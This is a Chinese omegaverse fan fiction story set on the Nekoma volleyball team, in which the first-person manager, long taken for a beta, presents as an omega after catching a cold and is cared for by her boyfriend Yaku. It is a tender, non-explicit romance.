“……你这都问几次了？”夜久前辈闻言有点无奈地侧头看我一眼，但顿了顿，还是好脾气地回答，“就是草木的味道……感觉和下雨的味道有点像？实在好奇的话，下雨的时候打开窗户闻一下就好啦。” 我先回答了他最初那个问题，“因为真的很好奇啊。” 交往一个月出头，这其实已经是我问的第二次关于夜久前辈的信息素的问题了——但就是很好奇嘛。 这种时候才会觉得beta有点不好……明明是男女朋友的关系，但我连夜久前辈的信息素都闻不到。 这么想着，我多少有点不大高兴地撇了撇嘴，一边有点不太情愿地吐槽他，“为什么说得这么随便啦，明明很重要的。” 而且……下雨天的味道虽然挺好闻的，但不管怎么说都有点湿润过头了些。都说信息素的味道和本人也有很大关系，那夜久前辈的信息素怎么可能和下雨的味道一样嘛。 他对我一个beta始终执着于他的信息素味道多少还是有点无奈，张了张嘴，又的确没法感同身受地体会到我的苦恼，最后也就只能无声地安慰般拍拍我的发顶。 我没吭声，闷闷地将脸埋进交叠的手臂中，安静两秒，倒也知道这生理上的差异的确不是夜久前辈能控制的、他没必要因此接受我别扭的心思，稍稍苦恼两秒，便很快努力地将这事推走，转而提起另外一个话题。 “这几天好像要下雨了。”我抬起半边脸，透过活动室的窗户望见窗外阴沉沉的天空，半晌，这么同他道。 夜久闻言也跟着顺着我的视线向外看去，盯了两秒，赞同道：“是快下雨了……你带伞了吗？” “带了。”我应了声，“我有带备用雨伞的习惯的……上次是把包落在学校了。” 他闻言顿了顿，无言沉默两秒，吐槽：“倒是看一下天气预报啊。” “反正都一样的。”我嘀咕道。 # 部活刚进行到一半，体育馆外便淅淅沥沥地落下小雨。我这会儿刚好离大门很近，便起身去关门、免得待会雨飘进来。 手指触到金属门把的冰凉触感，我站在门口，拉上门前先鬼使神差地停了两秒，感受着屋外吹来的隐隐约约的混杂着湿意的冷风，半晌，不自觉嗅了嗅外面的气味。 是很鲜明的雨天的味道。 潮湿、冷淡，但又无端透出股世界被清洗后生出的清新感。湿沉的空气裹挟着泥腥味窜入鼻腔，我随即嗅到一股草叶被捻断后所散发出的汁液的味道——那应该就是我所感觉到的清新感所在。 夜久前辈所指的相像……是指同样都是这种清新的味道的意思吗？ 我无端这么想着，忽地察觉到脸颊染上的、被风吹进来的雨丝而传来的湿意，便如梦初醒般微微用力，推上了体育馆通常情况下都是半开着的门。 # 雨下得很大。 瓢泼大雨倾盆而下，哪怕撑了把伞，溅起的雨水沾湿了鞋袜衣角。现如今的东京已经入冬，森冷的气息顺着被雨水染湿的衣物攀上骨肉。我打了个寒颤，一边收伞进门，一边低头，看了看湿透的鞋袜。 平常放进包里备用的伞自然大不到哪去，小小的一把单人伞，撑不起多大范围，雨又下得很大，鞋袜被溅起的雨滴染透，裙摆也被染上点湿意。上半身倒是没溅到雨，但也还是被湿润的空气染上点潮意。 总之不太舒服。我想了想，索性准备现在就先去洗澡，虽然不一定能预防感冒，但总归能驱驱寒暖暖身子也是好的。 ……虽然最后还是感冒了就是了。 睡醒起来，大脑沉沉地泛着晕，我坐在床上，撑着脸颊弯腰，手肘撑在腿上，这么懵了半晌，才慢半拍地伸手，探了探额头的温度。 啊……没发烧。那应该就是昨天有点着凉了，不过没发烧就问题不大。 这么想着，我一边打哈欠一边慢腾腾地下床，捞过手机看了眼时间，确定离训练时间还差得多，便先去洗漱换衣服。 今天是周末，不用上课（排球部是因为春高排将临的原因有自己的加训），也就不用穿校服，我便挑着穿了厚实的保暖衣服，又戴上围巾拿上口罩和感冒药，准备待会去学校的路上进便利店买点东西当早餐，垫垫肚子之后就喝药。 就算出门、被迎面而来的冷风吹了一下，大脑也依旧有点昏昏沉沉的感觉。我顿了下，又伸手碰了碰额头。 是尚带着室内暖意的温凉，但没发烧。 我于是没吭声，只默默理了理口罩和围巾，尽力让它们能挡掉点风。 ……好冷。 我闷闷地这么想。 雨后放晴，今天的天很蓝、也有太阳，但脚下的柏油路依旧铺着湿润的雨水，空气中依旧含着潮湿的水汽，裸露在其中的皮肤也跟着染上湿意。 我不太舒服，所以连带着也不太清楚所感受到的冷到底是因为雨后的温度低、让冰冷的温度沿着湿意攀上手脚侵蚀了残留着的些微暖意，还是因为不太舒服、而让我无端更加畏寒了些。 裹紧了音驹排球部厚实的队服外套，我闷头沿着路走，盼着能早点到室内祛掉身上的寒气。室内总是比室外要暖和一点。 “小游——早上好！” 耳畔隐隐传来同级生的招呼声，我脚步微顿，随即侧头，顺着声音来源抬眸看去，望见侧前方的便利店、以及店门口站着的芝山和手白。 刚刚就是芝山在跟我打招呼。见我看过去，他旁边的手白也跟着抬手，朝我挥了挥。 我慢半拍地看了他们两秒，又瞧了瞧他们身后的便利店，突然有点庆幸。 要不是芝山叫我的话，我估计会一路闷头走、直到错过便利店吧。 ……帮大忙了。 这么想着，我调转脚步朝他们那边走去，抬脚跨上台阶，没将手从口袋里拿出来、太冷了，便只是朝他们弯了下眼睛，打了个招呼，“早上好。” 手白瞧着我有点苍白的神情和闷闷的、盖在口罩下的声音，不自觉有点担忧地问：“你还好吗？不舒服？” 芝山应和了一声，“你脸色好差啊，怎么没请假？” “还好，应该是昨天回家的时候吹风着凉了，有点感冒。”我挨个回，“没发烧所以没请假，我带了感冒药，先吃点东西垫垫肚子就喝。谢谢。” 一边说着，我一边示意了一下便利店内部，嗓音隐隐透着股疲倦，“我先去买东西了，你们先走吧。” “好。” 目送跟他们穿的、总体偏向单薄的队服差别很大的我走进便利店，芝山侧头看向旁边的手，道：“我们先走吧。” “…好。”手白慢了半拍才回他。 他顿了顿，又不禁有些迟疑地回头看了眼，随即有点疑惑地询问旁边的芝山，“小游有喷香水的习惯吗？” 芝山有点疑惑地看向他，“你说小游？她没有这个习惯啊，怎么了？” 手白神情有点犹豫，半晌，没回答他的问题，反而又问：“你刚刚有闻到什么气味吗？” “什么？” “就是……”手白努力回想了一下。 但那味道本来就很淡、被风一吹就散完了，只是闻到的时机很巧、刚好是和我擦肩而过的那一瞬间，他就稍微有点在意。 毕竟就像芝山说的，我没有喷香水的习惯，本身又是个beta，身上按理说不该有什么气味的才对。 他纠结了一会儿措辞，才道：“……一点很淡的甜味？” “？”芝山有点迷茫地看着他，“我没有闻到欸，是信息素吗？”他是beta，绝对闻不到的东西只有信息素。 “不知道。”手白道，“一般来说，信息素是闻不出是信息素的，就是很普通的味道。” 芝山被带偏了注意，闻言好奇问：“‘一般来说’是指还有特殊情况吗？” “差不多吧。”手白想了想，“安抚信息素、警示信息素这种有含义的信息素是可以闻出来的，alpha或omega主动释放出的代表性别的信息素也可以闻出来……哦，这么说的的话，其实就是有其中意义的信息素可以被闻出来的意思。” 芝山若有所思地点点头，随即问：“听说伴侣之间经过长期的接触和标记之后可以彼此识别信息素，真的假的？” “……？” 手白指了指自己，“我还没有女朋友啊。” “咦？这在你们alpha里面原来不是类似常识的东西吗？” “不是啊，而且这个其实有些人说有、有些人说没有，所以争到现在也没个定论。” “原来是这样。” 他们很快将原本的话语抛到脑后，手白也没太在意，只当是自己闻错了——毕竟那点味道本来就很淡，他们又刚从便利店出来，没准是身上沾了点味道什么的。 反正，总归不是什么重要的事情。 # 我对他们的对话一无所知。 现在离部活开始还有二十来分钟，时间还够，加上我没什么胃口、不打算吃多少，便索性在这吃完早饭再走。 勉强和着接来的一杯热水吃了小半个三明治，我将感冒药撕开，倒进剩下的大半杯水里，几口喝完便起身，重新将围巾口罩戴好，去参加训练。 到体育馆的时候，离训练开始还有两分钟不到，正好卡点。 站在体育馆门前顿了顿，我无端感觉眼皮有点沉，想了想，觉得应该是刚刚喝的感冒药的原因，便没太放在心上，只用力眨了眨眼睛，试图驱散一点不知从何而起的疲惫困倦感。 再抬眸，我看见正朝我走过来的夜久前辈。他正穿着短袖短袖的队服，外面套着件外套，全身上下薄得吓人，腿大大咧咧暴露在冷空气中，偏偏本人看起来一点也不冷的样子。 察觉到他走来时身上隐隐散发出的热意，我慢半拍地看了看他沁出些微汗水的额头——啊，夜久前辈应该是已经热完身了。难怪他看起来一点也不冷。 “怎么戴着口罩……你脸色好差，不舒服吗？我帮你请假？” 夜久前辈有点担忧的声音传进耳畔。但我恍惚地顿了半晌，才终于回神，慢半拍地反应了一会儿他的话，而后摇头，“还好。有点感冒，应该是昨天着凉了……不用请假。” 我站在原地，虽然面对拉进的距离还是不自觉有些呼吸停滞，但还是乖乖地停住，任他上前两步，伸手探了探我的额头。 在外面吹了这么久，我皮肤早就隐隐泛起凉意，他自己又刚热完身，全身上下都带着热意，手掌更是烫的。他一下子摸不出来温度，便索性上前一步，轻轻扶住我的肩膀，而后低头，将额头碰上我的。 距离一瞬间拉得极近。 我呼吸微微一滞，不自觉微微睁大了眼睛，而后下意识地屏住呼吸——他正专注地微微抬眸，用那双清澈透亮的眼睛看着我。 他注意力不在我身上——或者说，他此刻只顾着我额头的温度，并未将注意力放在“同我对视”的这件事上。 ……但我满心都是这件事。 世界仿佛只剩下我与他之间的这片小小空间。我望见他白却透不出病气的健康颜色的皮肤，望见他偏向圆润的、形状柔和的眼睛，望见他柔软纤长的、正轻轻抖动着的睫毛，望见他在阳光下会颜色浅淡到仿若金芒的棕色瞳仁，而后再清晰地、一眼望尽了他眼中的所有情绪——如担心、如紧张、再如那一点被掩在所有情绪下的、微不可察的心疼。 我一瞬间升起些让他担心了的那一点微妙的心虚，但更多的却是不受控制生出的、将心脏填得完完全全满满当当的欢喜。 原本就有些热意的脸颊与耳根在这一刻彻底发起烫来。掩在口罩下的嘴唇不受控制地微微抿起。我忽而庆幸，庆幸自己戴了口罩、又围了围巾，夜久前辈大抵不会立刻注意到我泛起红意的脸颊和耳朵。 我想……我待会可能会需要一个人冷静一下。 ……有点太热了。 # “好像是没发烧……”夜久仔细感受了一下温度，没觉察出什么不对，便重新后退一步拉开距离，而后再次有点担忧地叮嘱，“不舒服要及时说。” “……哦。”我视线不受控制地追着他移开、又转而落在他脸侧，半晌，才后知后觉地微微垂下眼，慢半拍地道。 他看我两秒，又安抚般伸手，隔着口罩用指腹贴了贴我的脸颊。 手指触到口罩与皮肤交界的部分。我随即察觉到他指尖贴过皮肤带来的温热触感。 ……好热。 我这么想。 有点……分不出到底是因何而起了。 夜久前辈没察觉到我的异样。训练就快正式开始，他没法留太久，碰了碰我的脸颊后，便只顺势帮我理了理早上起来因为太过匆忙而有些凌乱的鬓发，再次开口时，声音放得很轻，语气也无端柔和下来。 他再次叮嘱：“不舒服不要撑着，要及时说，我送你回家。” 我不自觉有点想笑，嗓音也无端含了点软和的笑意，“夜久前辈，这都说第三次了……我知道了啦。” “毕竟你看起来就像会硬撑的样子啊，”他道，“总觉得很担心。” “……这到底是怎样糟糕的印象啊。”我嘀咕，“我明明没有硬撑过吧？” “第一次见你就在为因为感冒发烧不能还我外套而道歉。”提到这事，他又不太乐意地戳了戳我的额头，状似不满道，“倒是把自己放在第一位啊，没人会因为身体原因责怪你的。” 我偏头躲了一下，而后伸手，抓住他本就没什么躲闪欲望、见我抬手还体贴地停下的手指，四指包住他伸出的那根食指，将它虚虚圈进掌心。 “我会的。”我抬眼看向他的眼睛，认真地、承诺般再次重复道，“我会的。” 望着他隐隐带上讶异的、似是正在惊讶于我的认真程度的眼睛，我不自觉抿起唇角，轻轻弯了下眼睛。 说来惭愧……但坦白来说的话，我的确是因为他们才会如此笃定地说“我会把自己的身体放在第一位”。 毕竟……现在在意我身体的可不像当初那样少了啊。 ＃ 因训练开始而离开前，我看到夜久前辈似是纠结了一会儿般，有点犹豫地问我，“你换洗发水了？” “……嗯？”我懵了一下，“没有啊，怎么了？” 他闻言又看了看我，琢磨着思考两秒，倒也没再纠结下去，“没什么，就是总感觉刚刚闻到了一点……类似水果的味道？” 很淡的甜味，混杂在体育馆内很不明显，他刚刚低头贴上我的额头那会儿才依稀闻到一点……不是洗发水的话，应该就是沾到什么东西了吧。 毕竟味道淡得甚至有点像错觉了。 这么想着，他迎着我有点茫然的目光摇了摇头，道：“没什么，大概是错觉吧。” “……喔。”我瞧他一会儿，半晌，有点犹豫地应了一声，随即侧眸看了眼已经开始训练了的队伍，道，“那我先去拿记录本了？” “去吧。”他回头看了眼，意识到自己迟了，便没再等我，率先归位。 部活和往常别无二致地展开。 一传、二传、鱼跃、扑救、防反，训练进行得如火如荼又吵吵闹闹，多是前辈们检查时严厉的斥责和同级生们失误后的嚷嚷与叹息——虽然总有种明明说了很多遍才对怎么还要说的后知后觉的疑惑感……但那个嚷嚷的的确总是灰羽，偶尔再加个犬冈，叹息或闭口不言地反思的一般都是芝山和手白。 刻板印象很微妙地非常浓厚……有的时候第一反应是灰羽犬冈又或者是山本前辈惹出了什么事的时候就会有点心虚。 ……偏偏最后不出意外还真是他们几个。 很难说当时陡然升起的心情有多么复杂且微妙……总之之后下定决心尽量不要再先入为主刻板印象了。 虽然大部分时间的确符合刻板印象……但不管怎么样这总归不太好。 一边乱七八糟地向外衍生着思维，我一边托着腮帮蹲在装水的地方，听着水从水龙头落入水瓶、随气柱缩小而逐渐拔高音调的声音，在水溢出来的前一刻关上了开关。 拧上盖子，再用带来的毛巾顺手擦一下带着水珠的瓶身外沿，我将落在手里无端有些沉甸甸的水瓶放进旁边的小推车里——喔，小推车是用当初学园祭吃完饭剩下的一点钱买的，说是这么多人装满水的水瓶不管怎么说都有点沉，反正也是多的钱，干脆就给我减轻点负担什么的。 虽然我也不是拿不动……但被关心还是很开心。 这么想着，我又将脸颊往毛绒绒的、很保暖的围巾里埋了埋，试图以此躲过裹挟在冷风中的、深秋所带来的森冷的凉意。 ……好怪异的感觉。 明明感觉到的都是冷的、凉的，偏偏掩在衣服下的皮肤都持之以恒地泛着热意……我现在已经和夜久前辈他们差不多了吗？冬天的时候浑身上下也是热的。 慢半拍地伸出原本缩在外套下的手掌，原本还带着暖意的指尖一下被风吹得冰凉，我抬手贴上额头，感受了一会儿，却没琢磨出个所以然来。 这是热还是冷……来着？ 大脑不知何时昏沉起来，我蹲在原地，贴了一会儿也没贴出个结论，刚下意识想到前面夜久前辈所说的不舒服就去找他，下一秒，我便突然感觉肩膀处多了一点重量。 一点点，不是多么沉重的份量，但是也沉甸甸的，灼热的温度仿若也隔着厚厚的衣物，从搭在肩膀处的那一小部分传上大脑。 我忽地感觉自己被什么气息牢牢地包裹住了。 温热的、和缓的、带着沁人心脾的暖意的。它代替周围冰凉却新鲜的空气将我围起，我却偏偏察觉不到哪怕一丝一毫的、类似于窒息的不适感。 ——潜意识比我更先意识到对方是谁。 贴在额头上的手指不自觉落下，似乎是蹲久了才会泛起的酸麻感裹挟着点诧异的茫然感觉一起传上脑海，我下意识伸手扶住脚边的地面，而后微微向后仰头，却忽地望见贴得极近的另一张因为过于熟悉、乍一眼看去反倒无端升起点陌生的脸。 口罩下有些干裂的嘴唇隔着层布料蹭过他的皮肤，是鼻息也能顺势交融的距离。他怔了一下。转而微微后撤，往后退了一点。我不自觉有些发怔地抬眼，追着他眼睛望去，下一秒，却忽而望见他复杂而微妙的神情。 嗅到那点柔软而带着暖意的清浅味道时，我听到他隐隐有点哑的嗓音。 “你有带omega抑制贴吗？”他这么问我，看起来却是完全不报希望的样子。 我先不自觉地盯着他看了两秒，才慢半拍地转而去理解他话中的含义，而后怔住，随即、不自觉微微睁大了眼睛。 “……” “…………” ……什么东西？ # 再次嗅到那点浅淡的甜味时终于意识到了什么。 空气中的那点气味分子逐渐随着时间流逝而加浓加重，夜久一边伸手捞起滚到墙边的排球，一边有点疑惑而犹疑地四处环视了一圈。 总觉得……有哪里不对。 缭绕在鼻间的味道让人无端有点心乱，他将排球丢回球场，没看到底是那里的谁捡了过去，只是又四处看了一圈，而后转向场边的、现场唯一一个没有训练、会注意到其他人的直井监督。 “直井监督，”夜久拔高了点音量，微微皱起的眉眼间隐约带着一点焦躁，语气却还是正常的，“你有看到小岛吗？” “嗯？你说小游？”直井监督正低着头，对着队员们的训练状况微调训练计划，闻言回想两秒，才道，“她倒水去了。” “咦，”被叫去把自己打出界的球捡回来的灰羽路过他们的对话，闻言也探头过来，“小游不是已经去很久了吗？” 一直很认真地思考训练计划的直井监督愣了下，下意识低头看了眼腕表，“有吗？” “有啊。”灰羽抱着四颗球，还非得艰难地腾出一只手比划，“她是我发球练习刚开始的时候去的，我现在都已经发了两轮球了。” 他的一轮是半框，十个球，发完就自己捡回来继续。也就是说，按照灰羽说的话，距离我出去已经过去了二十个发球和两轮捡球的时间。 夜久不自觉捏了捏指腹，侧头瞧着半开半合的门看了一会儿，忽地又想起那点不知从何而起的浅淡气味。 不是单一的味道，各种气味揉杂在一起，隐约能辨认出点莓果和柑橘的味道，混着点不知名的花和草叶的味道，原本应该是甜到足以发齁的味道，偏生混着花草的植物清香一起散在空气里，倒是通透浅淡不少，连存在感也跟着一起弱下来。 他有点分神地安静两秒，半晌才回过头，顿了顿，道：“我去看看吧。” 总觉得有点不放心……还是亲自确认一下吧。 他这么想。 # 踏出体育馆的大门时，首先感受到的、是迎面扑来的微冷的空气。 凉意蔓延在大雨后空气中加重的湿度里，顺着微微拂动的风钻进皮肤，将泛着热意的皮肤表层染得也一并带起抹温凉。 常年运动的高中生完全不惧这点凉意，夜久仅被冷风吹得那第一下有点不适地顿了顿，随即便很快适应了温度。 他面不改色地回手带上背后的门，随即抬脚，朝倒水的地方走去。 倒水的地方离排球部的体育馆不远，一百米不到，他没走两步便远远瞧见不远处背着他蹲在原地的我，见我没什么不对的样子，心里不由得隐隐松下一口气。 只是大脑中的警铃依旧孜孜不断地发出微弱的动静，他原本百思不得其解，在远远看到那边看起来好端端的我后更疑惑起了直觉的来源。 ——但一切疑惑止步于他忽地从空气中察觉到那点不知何时浓郁起来的味道前。 浓郁不少的味道溢散在空气中，连带着原本察觉不到的东西也跟着明显起来——这是omega发情期时会散发出的信息素的味道。 夜久从未闻到过如此鲜明的、毫无掩饰的信息素。 虽然因为信息素不好控制，情绪激动亢奋时哪怕贴了阻隔贴也很容易泄露，所以大家都 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猛然碰上本已经默认为beta的人的分化现场，夜久一时间竟没法从一下混乱起来的大脑中挑出个清晰顺畅的思路，他卡了两秒，而后下意识地问：“你有omega抑制贴吗？” “……” “…………” 他看着我呆呆地懵了两秒，而后有点怔愣地微微睁大了眼睛。 看来是没有。他这么想。 今天周末，医务室没有老师值班，但不知道门有没有锁，没有锁的话就直接进去拿一个下周一再去解释，有锁的话……学校外面的便利店也有卖，跑过去应该用不了多少时间。 不管怎么说，总归不能让一个正在分化的omega不贴抑制贴上街。 毕竟，omega在第一次分化带来的发情期时，他们的腺体正处于随着分化刚刚转化的、最脆弱的时候，这个时期的omega对信息素的控制能力跟零几乎没有区别——而omega的信息素天生就对alpha有一定程度上的吸引力。 这不安全。 这么想着，夜久一边撑住我不稳而有些摇摇晃晃的身体，一边在轻声安抚我的空档，从外套的口袋里摸出手机，准备给芝山打个电话，拜托他帮忙去一趟医务室。 但下一秒，他听到我有点沙哑的声音。 “……我有抑制贴。”隔着层口罩，我冒出来的声音隐隐有点发闷，“在教室外面的柜子里……应该还没过期。” 夜久找联系人的动作一顿，而后侧头看我一眼，隐隐有点诧异地问：“你竟然还有这个？” 我正感觉眼皮子有点发沉发烫，隐隐有点昏昏欲睡的同时，重心也跟着不自觉往他那边靠。闻言懵懵地反应两秒，而后有气无力地解释，“……怕后面还会分化，所以平时都有带。”alpha和omega的我都有备，不过现在看来……之后不用再给自己备alpha的抑制贴了。 “这样啊。”他一边应着，一边换了个联系人，转而打了直井监督的电话。 他让监督帮忙叫一下灰羽。 ＃ 清润的草木味道的信息素始终缭绕在鼻间、身侧，混杂着点大雨后空气中弥漫的土腥味一起窜入鼻腔，我感觉眼皮发沉，便顺势半阖上眼睛，昏昏沉沉地懵了半晌，忽而想到之前问夜久前辈时，他同我说的他的信息素的味道。 草木气息……又类似下雨的味道。 我慢半拍地感受了一下缭绕在鼻间的气息。 信息素带着强烈的安抚信息素因子，所觉察到的第一反应首先是“信息素”，而后才是“味道”。 我一时分不出他的信息素究竟是什么味道、毕竟现在本身便处于雨后的状态，于是呆了两秒，转而下意识地偏头望向他。 我望见他侧脸柔和流畅的线条，刚盯两秒，便见他若有所觉地偏头看过来。 我们短暂对视了一会儿，我瞧着他，半晌，伸手扯住他外套，将他拽过来一点。 “怎么了？还难受？”他顺从地被我拽过来一点，而后不自觉有点担忧地微微皱起眉，下意识伸手，将手掌贴上我额头。 没什么区别。 他刚准备再伸手探探其他地方的温度，下一秒，便忽而察觉脖颈处扑来一阵泛着烫的气息。 灼热的呼吸沉沉地铺洒在颈侧的皮肤上，夜久愣了下，随即下意识低头看过来，却只瞄到一个浅色的、毛绒绒的头顶。 我一声不吭地将脑袋蹭上他脖颈，而后侧脸，脸颊贴上他颈侧的皮肤，下意识地嗅了嗅，试图辨别一下他信息素的味道。 但没辨认出来。 分化总归是有一个循序渐进的过程，而我现在刚刚开始分化，至少在辨认信息素这方面完全称不上完善，顶多隐隐感知到信息素的存在，但更具体一些的、比如具体的味道，就闻不到太详细的。 能闻到的只有那点淡淡的草木的味道，混着大雨后本身的气味一起，我完全辨认不出哪些是信息素的味道、哪些又是环境本身自带的味道。 我不自觉有点挫败地、不太高兴地重新抬头，转而安静地将额头抵上他肩膀，不动了。 夜久全程没理解我在做什么，他有点迷茫地围观半晌，而后伸手扶住我肩膀，又下意识贴了贴我的脖子探了探温度，确认同刚刚毫无区别，才返回来思考我刚刚在做什么。 ……之前听他妈妈说，omega发情期时因为受到激素影响，情绪会比以往敏感易波动得多，应该就是这个原因吧？ 这么想着，他伸手安抚般轻轻拍了拍我的发顶，而后又释放了点安抚信息素过来。 # 灰羽捏着帮忙拿过来的抑制贴站得离我和夜久前辈远远的，整个人看起来浑身上下都写着抗拒。 他盯着前方气息明显的信息素欲言又止，只觉alpha基因里对同性信息素的抗拒本能正在沸腾。 他犹犹豫豫地在原地沉默半晌，而后才在察觉到他来了的夜久的目光下一步一步挪过来，再将手里的抑制贴递过去。 他真心实意地问：“夜久前辈，你真的不需要抑制贴吗？我有带alpha专用的。” ——这个浓度，他只在易感期的alpha身上闻到过啊。 “……”夜久正利索地拆掉包装，撩起我的头发寻找腺体的位置，闻言动作一顿，有点无言以对地抬头看了灰羽一眼。 “我易感期没有提前。”他无语地说，“这是安抚信息素，你不知道omega分化的时候有alpha的安抚信息素会更好过一点吗？” 灰羽卡了两秒，“……哦我忘了，我没见过omega分化。” 只在课本里出现过的东西突然出现在现实了，他一时没反应过来。 更何况和他姐姐都是alpha。 夜久一听就知道怎么回事。 他无言叹了口气，终于找到腺体位置，将抑制贴给我贴上，而后再把自己的阻隔贴贴了回去。 伸手半揽着我的肩膀将我撑起来，他同灰羽道；“小岛分化了，你跟教练说一下，顺便帮忙给我们请个假。” 他见我已经有点站不稳了，不由得有点担忧地又扶了我一下，而后补上下一句，“我送她回家。” “哦，行。”安抚信息素裹得太严实了，灰羽基本没闻到我的信息素味道，也就没什么反应，他应了声，而后犹豫两秒，一摸口袋，将兜里几张信息素阻隔贴和alpha抑制贴一起塞过去。 “夜久前辈，”他想了想觉得夜久肯定知道，但犹豫了一下，还是不太放心地道，“你知道的吧？omega分化的第一次发情期不能用抑制剂的。” “我知道。” “那就好……”他嘀咕一句，而后道，“那我回去了，还有训练呢。” # 坦白来说，分化所带来的发情期确实是不太好受的。 发热的身体、昏沉的大脑、混乱的意识，乱七八糟的难受感觉接二连三地传上大脑，我感觉手脚都隐隐泛着使不上劲的酸软，刚走两步，便不受控制地脚下一软，差点直接跌下去。 刚把我安置在沙发上盖了小毯子、准备去给我烧点热水的夜久一转头便被我吓了一跳，连忙回身，眼疾手快将我按回沙发上。 “怎么了？冷？”这么说着，他下意识伸手，帮我将原本随我动作落到地上的小毯子拎起来，顺手抖了抖，而后重新披到我身上，再掖了掖毯子边，“我开空调？或者开暖桌？” 我没吭声，沉默地、安静地抬眸，盯着近在咫尺的人瞧，直到空气安静半晌、夜久前辈也不自觉露出点疑惑神色的时候，才忽地伸出手，手掌贴上他撑在沙发上的小臂、而后握住，再稍稍借了点力起身。 毯子随着我动作滑下去，但因为本身就薄且没盖多久，就没储存多少暖意，这一滑也没对我造成什么影响，我甚至都没怎么感受到它。我只是一声不吭地伸手、抱住他脖颈，而后再次闷不吭声地将脸蹭进他颈侧。 他被我这么一拉拽着往下扯了点，因毫无防备甚至踉跄了一下才勉强用膝盖撑着沙发停稳。随即，我忽地察觉到有只手妥帖地盖上肩头，而后传来他有点茫然的声音，“怎么了？” “……信息素。”我低声喃喃，“……我闻到了。” 同刚刚在学校时不太清晰的、只能囫囵嗅到点大概的不一样，也许是随着时间推移、也许是进到私密空间后夜久前辈没再抑制信息素……总之，我忽地嗅到一点还算明晰的味道。 我于是下意识伸手抓住似是要离开的人，顺着撑着他的手臂伸手抱住他，将泛着滚烫热意的脸颊贴上他带着温和凉意的脖颈，而后嗅到他稍稍浓郁两分的信息素的味道。 口罩在被确定是分化的时候便被摘掉以保持呼吸通畅，于是这会儿脸颊的皮肤便毫无遮挡地直接贴上他颈侧的皮肤，我嗅到那点微不可察的信息素味道，不自觉默默的安静下来，琢磨着辨认起他信息素的气味。 首先……草木的味道是最明显的主调，泛着淡淡的、微不可察的暖意，像透过树叶间隙投下的那几缕阳光、又像晴空下雨时穿过水珠折射出彩虹的光线，硬是将冷淡的氛围染上润物细无声般的暖意。 是很复杂也很难形容的味道。 我忽而觉得之前问夜久前辈时，听他形容的、信息素和大雨后的味道没什么区别的观点……其实也没我当时所想的那么不相干。 这么想着，我又不自觉收紧了胳膊，同他靠得更紧了点。 夜久则终于从我的话中意识到什么，再一想，忽地意识到刚刚在学校时我的反应是因为什么。他不自觉有点想笑，伸手贴了贴还泛着热意的脸颊，“你这么执着这个啊？” 他见我还在烧着，便撕了阻隔贴放了点安抚信息素给我，顺便屈膝坐到沙发上——本来那个姿势弯腰弯太久了会难受。 我则任他调整动作，唯一不变的只有闷头贴在他怀里，安安静静地被他的信息素圈在其中，闻言默了默，而后嘀嘀咕咕，“因为就是很好奇嘛……” 别人……别的alpha和omega都闻得到，偏偏我闻不到。 超级、超级、超级不爽。 这么想着，我忽地想起什么，重新抬起头，歪着头看他近在咫尺的脸颊。 我叫他，“夜久前辈。” “嗯？”他正捏着手机准备提前跟父母说一下中午可能不会回家，闻言偏头看过来，却恰好对上我的眼睛，他不自觉怔了下，才慢半拍地应道，“怎么了？” “你有好奇过我的信息素吗？” 我这么问他。